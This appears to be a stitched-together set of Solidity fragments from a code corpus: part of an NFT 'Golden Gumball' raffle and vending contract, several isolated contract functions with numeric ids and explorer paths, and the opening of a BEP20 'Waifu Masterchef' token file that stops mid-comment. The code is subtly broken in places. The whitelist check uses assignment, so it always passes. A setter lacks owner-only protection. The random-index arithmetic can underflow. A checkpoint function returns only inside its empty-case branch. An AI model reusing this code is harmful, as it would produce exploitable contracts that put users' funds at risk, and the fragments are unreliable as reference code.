Gumballs struct Gumballs { address nftAddress; uint256 nftId; address owner; } mapping(address => Gumballers) public gumballers; Gumballs[] public gumballs; // Parameters of Whitelisted Tokens struct Whitelist { bool status; } mapping(address => Whitelist) public whitelist; // Parameters of Tickets struct Tickets { address owner; } Tickets[] public tickets; // CONSTANTS AND GLOBAL VARIABLES // // ERC20 interfaces IERC721 public GUM; IERC20 public payToken; // Bool to ensure the machine has sufficient Gumballs inserted before allowing tokens to be inserted bool public isMachineInitialized; // Golden Gumball Machine global variables uint256 public totalGumballs; uint256 public lastGumball; uint256 public drawingEndTimestamp; uint256 public lastDrawingTimestamp; uint256 private goldenBlock; bool private goldenBool; bool private honorBool; uint256 public totalTickets; uint256 public lastWinningTicket; uint256 public totalGoldenTokens; uint256 public blockNum; // Golden Gumball Machine admin-set variables uint256 public ENTRY_PRICE; uint256 public MACHINE_ACTIVATE_REQUIREMENT; uint256 public MACHINE_DEACTIVATE_REQUIREMENT; bool public drawingRepeatStatus; bool public drawingActive; uint256 public drawingDuration; // Constants for the Gumball machine uint256 public constant MAX_BLOCKS = 250; uint256 public constant BLOCK_BUFFER = 1; // FUNCTION MODIFIERS // modifier onlyNotContract() { require( _msgSender() == tx.origin, "Only contracts can call this function" ); _; } modifier gumballMachineActive() { require( isMachineInitialized == true, "Machine stock is too low to use, come back later when more Gumballs are added!" ); _; } // ADMIN-ONLY FUNCTIONS // function setPayToken(address _payToken) public onlyOwner { payToken = IERC20(_payToken); } function setEntryPrice(uint256 _price) public onlyOwner { ENTRY_PRICE = _price; } function setActiveRequirements(uint256 _deactivate, uint256 _activate) public onlyOwner { MACHINE_DEACTIVATE_REQUIREMENT = _deactivate; MACHINE_ACTIVATE_REQUIREMENT = _activate; } function setWhitelistStatus(address _nftAddress, bool _status) public onlyOwner { Whitelist storage _whitelisted = whitelist[_nftAddress]; _whitelisted.status = _status; } function setDrawingRepeatStatus(bool _status) public onlyOwner { drawingRepeatStatus = _status; } function setBlockNum(uint256 _blockNum) public { blockNum = _blockNum; } function initializeDrawing(uint256 _duration, bool _repeatDrawing) public gumballMachineActive onlyOwner { require( _duration >= 0, "Duration must be longer" ); require( block.number > drawingEndTimestamp, "Cannot initialize in the middle of a drawing" ); drawingDuration = _duration; drawingRepeatStatus = _repeatDrawing; drawingActive = true; drawingEndTimestamp = (block.timestamp + _duration); } // EXTERNAL FUNCTIONS // /** @notice External function to enter into the Golden Gumball drawing */ function enterDrawing() external override gumballMachineActive nonReentrant { // HARD CHECK: Requires the drawing be active before proceeding require( block.timestamp < drawingEndTimestamp && block.timestamp > lastDrawingTimestamp && drawingActive == true, "Drawing isn't currently active" ); // HARD CHECK: Requires the _msgSender() to have enough ERC20 tokens to transfer require( payToken.transferFrom(_msgSender(), address(this), ENTRY_PRICE), "Insufficient balance or not approved" ); _enterDrawing(); } /** @notice Fixes stale drawing (drawing that was started and never finished before the MAX_BLOCKS buffer) */ function fixStaleDrawing() public override { // HARD CHECK: Require the drawing to be started before fixing require( goldenBool == true, "No drawing found" ); // HARD CHECK: Require block.number to be greater than MAX_BLOCKS blocks from when the drawing began require( block.number > (goldenBlock + MAX_BLOCKS), "Drawing isn't stale" ); goldenBool = false; honorBool = false; } /** @notice Fixes stuck tokens (Tokens that were inserted and left before resulting) */ function returnToken() public override { Gumballers storage gumballer = gumballers[_msgSender()]; // HARD CHECK: Require the token be inserted before returning require( gumballer.gumballerBool == true && gumballer.myHonorBool == false, "No token found" ); // HARD CHECK: Require block.number to be greater than MAX_BLOCKS blocks from when the token was inserted require( block.number > (gumballer.gumballerBlocknum + MAX_BLOCKS), "Token isn't stale" ); // Returns Golden Gumball Token GUM.safeTransferFrom( address(this), _msgSender(), gumballer.myGoldenToken ); gumballer.gumballerBool = false; } /** @notice Fixes account status in the event that a user inserted a token, cranked the lever, then waited longer than the allowed time, this will not return the token for security reasons */ function fixStatus() public override { Gumballers storage gumballer = gumballers[_msgSender()]; // HARD CHECK: Require a token be inserted before fixing require( gumballer.gumballerBool == true && gumballer.myHonorBool == true, "No token found" ); // HARD CHECK: Require block.number to be greater than MAX_BLOCKS blocks from when the lever was cranked require( block.number > (gumballer.gumballerBlocknum + MAX_BLOCKS), "Token hasn't expired yet" ); gumballer.gumballerBool = false; gumballer.myHonorBool = false; } /** @notice External function to begin the drawing */ function beginDrawing() external override gumballMachineActive nonReentrant { // HARD CHECK: Requires the drawing be completed before proceeding require( block.timestamp > drawingEndTimestamp && drawingActive == true, "Drawing isn't currently active or entry period hasn't ended" ); // HARD CHECK: Require no current Gumball purchase in queue require( goldenBool == false, "Drawing has already started" ); goldenBlock = block.number; goldenBool = true; } /** @notice Shuffles around all the tickets (fully commits to the drawing, winner must be picked within MAX_BLOCKS or drawing is null) */ function shuffleTickets() public override { // HARD CHECK: Require the drawing to be started before shuffling require( goldenBool == true, "Drawing hasn't started" ); // HARD CHECK: Require block.number to be greater than when the drawing began require( block.number > (goldenBlock + BLOCK_BUFFER), "Still processing the previous action, wait a little longer" ); // HARD CHECK: Require block.number to be less than MAX_BLOCKS blocks from when the drawing began require( block.number <= (goldenBlock + MAX_BLOCKS), "Stale drawing, fixStaleDrawing and restart the drawing" ); goldenBlock = (block.number + BLOCK_BUFFER); honorBool = true; } /** @notice Implements commit/reveal logic to randomly select the winner */ function pickTheWinner() public override { // HARD CHECK: Require the tickets be shuffled before picking a winner require( goldenBool == true && honorBool == true, "No active drawing found" ); // HARD CHECK: Require block.number to be greater than when the drawing began require( block.number > (goldenBlock + BLOCK_BUFFER), "Still processing the previous action, wait a little longer" ); // HARD CHECK: Require block.number to be less than MAX_BLOCKS blocks from when the drawing began require( block.number <= (goldenBlock + MAX_BLOCKS), "Stale drawing, fixStaleDrawing and restart the drawing" ); // Get the blockhash of the locked in goldenBlock from the shuffleTickets() function bytes32 _goldenBlockhash = blockhash(goldenBlock); // Packs the blockhash and keccacks it, then takes the remainder (totalTickets) and that's the random number uint256 _goldenRand = uint256(keccak256(abi.encodePacked(_goldenBlockhash))) % totalTickets - 1; // Set the Golden Gumball info back to default goldenBlock = 0; goldenBool = false; honorBool = false; // Get the owner of the winning ticket address _winner = tickets[_goldenRand].owner; // Swap the data of the last ticket purchased with the winning ticket tickets[_goldenRand].owner = tickets[totalTickets-1].owner; lastWinningTicket = _goldenRand; // Deletes the last Ticket in line (essentially the Ticket that was won, in the form of the last-in-lines' data) tickets.pop(); totalTickets--; // Mints a Golden Gumball Token for the winner super._mint(_winner, totalGoldenTokens); totalGoldenTokens++; lastDrawingTimestamp = drawingEndTimestamp; // Restarts the drawing if the drawingRepeatStatus is true, else it sets the drawing to inactive if (drawingRepeatStatus == true) { drawingEndTimestamp = (block.timestamp + drawingDuration); } else { drawingActive = false; } } /** @notice External function to add Gumballs to the machine @param _nftAddress ERC 721 Address @param _nftId NFT ID */ function addGumball(address _nftAddress, uint256 _nftId) external override nonReentrant { // HARD CHECK: Requires sender to own the NFT require( IERC721(_nftAddress).ownerOf(_nftId) == _msgSender(), "You don't own this NFT" ); // HARD CHECK: Requires Gumball contract to be approved require( IERC721(_nftAddress).isApprovedForAll( _msgSender(), address(this) ), "Gumball hasn't been approved" ); // HARD CHECK: Requires the NFT address be whitelisted to add to the machine Whitelist memory _whitelisted = whitelist[_nftAddress]; require( _whitelisted.status = true, "NFT address isn't current whitelisted" ); // Call internal function _addGumball to complete the addGumBall process _addGumball( _nftAddress, _nftId ); } /** @notice Inserts Golden Gumball Token into the machine */ function insertGumballToken(uint256 _nftId) public override nonReentrant onlyNotContract gumballMachineActive { Gumballers storage gumballer = gumballers[_msgSender()]; // HARD CHECK: Require the sender be the owner of the Golden Gumball Token require( IERC721(address(this)).ownerOf(_nftId) == _msgSender(), "You don't own this Golden Gumball Token" ); // HARD CHECK: Require no current Gumball purchase in queue require( gumballer.gumballerBool == false, "Golden Gumball already purchased" ); // HARD CHECK: Requires Gumball contract to be approved require( IERC721(address(this)).isApprovedForAll( _msgSender(), address(this) ), "Golden Gumball hasn't been approved" ); // Inserts Golden Gumball Token into the machine GUM.safeTransferFrom( _msgSender(), address(this), _nftId ); gumballer.gumballerBlocknum = block.number; gumballer.gumballerBool = true; } /** @notice Cranks lever on the Golden Gumball Machine */ function crankTheLever() public override { Gumballers storage gumballer = gumballers[_msgSender()]; // HARD CHECK: Require current Golden Gumball purchase in queue require( gumballer.gumballerBool == true, "No active Golden Gumball found" ); // HARD CHECK: Require block.number to be greater than when the token was inserted require( block.number >= (gumballer.gumballerBlocknum + BLOCK_BUFFER), "Still processing the previous action, wait a little longer" ); // HARD CHECK: Require block.number to be less than MAX_BLOCKS blocks from when the token was inserted require( block.number <= (gumballer.gumballerBlocknum + MAX_BLOCKS), "Gumball token expired, press the return token button to try again" ); gumballer.gumballerBlocknum = (block.number + BLOCK_BUFFER); gumballer.myHonorBool = true; } /** @notice Implements commit/reveal logic to randomly select your Gumball */ function revealYourGumball() public override { Gumballers storage gumballer = gumballers[_msgSender()]; // HARD CHECK: Require current Golden Gumball purchase in queue require( gumballer.gumballerBool == true && gumballer.myHonorBool == true, "No active Gumball found" ); // HARD CHECK: Require block.number to be greater than when the lever was cranked require( block.number >= (gumballer.gumballerBlocknum + BLOCK_BUFFER), "Still processing the previous action, wait a little longer" ); // HARD CHECK: Require block.number to be less than MAX_BLOCKS blocks from when the lever was cranked require( block.number <= (gumballer.gumballerBlocknum + MAX_BLOCKS), "Gumball token expired, press the return token button to try again" ); // Get the blockhash of the locked in gumballer.gumballerBlocknum from the crankTheLever() function bytes32 _gumBlockhash = blockhash(gumballer.gumballerBlocknum); // Packs the blockhash and keccacks it, then takes the remainder (totalGumballs) and that's the random number uint256 _gumRand = uint256(keccak256(abi.encodePacked(_gumBlockhash))) % totalGumballs - 1; // Set the Gumballer purchase info back to default gumballer.gumballerBlocknum = 0; gumballer.gumballerBool = false; gumballer.myHonorBool = false; // Get the NFT address and ID for the Gumball won address _nftAddress = gumballs[_gumRand].nftAddress; uint256 _nftId = gumballs[_gumRand].nftId; // Swap the data of the last Gumball added to the machine with the Gumball that was won gumballs[_gumRand].nftAddress = gumballs[totalGumballs-1].nftAddress; gumballs[_gumRand].nftId = gumballs[totalGumballs-1].nftId; gumballs[_gumRand].owner = gumballs[totalGumballs-1].owner; lastGumball = _gumRand; // Deletes the last Gumball in line (essentially the Gumball that was won, in the form of the last-in-lines' data) gumballs.pop(); totalGumballs--; if (totalGumballs <= MACHINE_DEACTIVATE_REQUIREMENT) { isMachineInitialized = false; } // Transfers the randomly selected Gumball to the buyer IERC721(_nftAddress).safeTransferFrom( IERC721(_nftAddress).ownerOf(_nftId), _msgSender(), _nftId ); // emit GumballClaimed(_nftAddress, _nftId); } // INTERNAL FUNCTIONS // /** @notice Internal function to complete the addGumBall process @param _nftAddress ERC 721 Address @param _nftId NFT ID */ function _addGumball(address _nftAddress, uint256 _nftId) internal { // Transfers NFT ownership to the GumBall machine IERC721(_nftAddress).safeTransferFrom( IERC721(_nftAddress).ownerOf(_nftId), address(this), _nftId ); // Catalogues the NFT Address/ID and logs the owner gumballs.push(); gumballs[gumballs.length-1].nftAddress = _nftAddress; gumballs[gumballs.length-1].nftId = _nftId; gumballs[gumballs.length-1].owner = _msgSender(); totalGumballs++; if (totalGumballs >= MACHINE_ACTIVATE_REQUIREMENT) { isMachineInitialized = true; } emit GumballAdded(_msgSender(), _nftAddress, _nftId); } /** @notice Internal function to enter the Golden Gumball Token drawing */ function _enterDrawing() internal { // Catalogues the Ticket owner tickets.push(); tickets[tickets.length-1].owner = _msgSender(); totalTickets++; } }
/ HARD CHECK: Require the drawing to be started before shuffling HARD CHECK: Require block.number to be greater than when the drawing began HARD CHECK: Require block.number to be less than MAX_BLOCKS blocks from when the drawing began
function shuffleTickets() public override { require( goldenBool == true, "Drawing hasn't started" ); require( block.number > (goldenBlock + BLOCK_BUFFER), "Still processing the previous action, wait a little longer" ); require( block.number <= (goldenBlock + MAX_BLOCKS), "Stale drawing, fixStaleDrawing and restart the drawing" ); goldenBlock = (block.number + BLOCK_BUFFER); honorBool = true; }
13,006,596
./full_match/80001/0x2689E3a61E88332b2CC8FE710Afc82d9BC1ef750/sources/contracts/Metadata.sol
Creates the first NFT for contract
function createFirst() public onlyOwner { Storage storage s = getStorage(); s.info[1] = NFT({ dna: "unlockers-1", keys: 0, creator: msg.sender, imageUri: "", expiry: block.timestamp + 3155760000, lock: true, admired: 0, can_admire_after: block.timestamp + 86400, taskId: 0, expand_level: 1 }); s.tokenId["unlockers-1"] = 1; if (_exists(1) == false) { _safeMint(msg.sender, 1); } uint8 matrix = getSettings().matrix + s.info[1].expand_level; s.root_tokenId[1] = new uint256[](matrix); s.chain_addr[1] = new address[](matrix); address root = _ownerOf(1); for (uint8 i = 0; i < matrix; i++) { s.root_tokenId[1][i] = 1; s.chain_addr[1][i] = root; } s.chain_addr[1][matrix - 1] = msg.sender; s.root_tokenId[1][matrix - 1] = 1; }
854,906
./full_match/314/0x7b7f1f85F599b63432F5D782041c25Dad354f999/sources/node_modules/@openzeppelin/contracts/utils/structs/Checkpoints.sol
Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value in the most recent checkpoint./
function latestCheckpoint(Trace208 storage self) internal view returns (bool exists, uint48 _key, uint208 _value) { uint256 pos = self._checkpoints.length; if (pos == 0) { return (false, 0, 0); Checkpoint208 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1); return (true, ckpt._key, ckpt._value); } }
8,083,125
./partial_match/3/0xd60184755C1a59E3f77f49BadaFA4ED2603d43d5/sources/Company.sol
№2 перевод продавцу
function PayToSeller(uint amount,address buyer) public notBuyer {
5,164,403
/** *Submitted for verification at Etherscan.io on 2021-10-21 */ /** * OFFICIAL Waifu Masterchef * * * * */ pragma solidity >=0.6.4; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity >=0.6.0 <0.8.0; /** * @title SafeBEP20 * @dev Wrappers around BEP20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeBEP20 { using SafeMath for uint256; using Address for address; function safeTransfer(IBEP20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IBEP20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IBEP20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeBEP20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeBEP20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IBEP20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed"); } } } pragma solidity >=0.4.0; /** * @dev Implementation of the {IBEP20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {BEP20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the bep token owner. */ function getOwner() external override view returns (address) { return owner(); } /** * @dev Returns the name of the token. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See 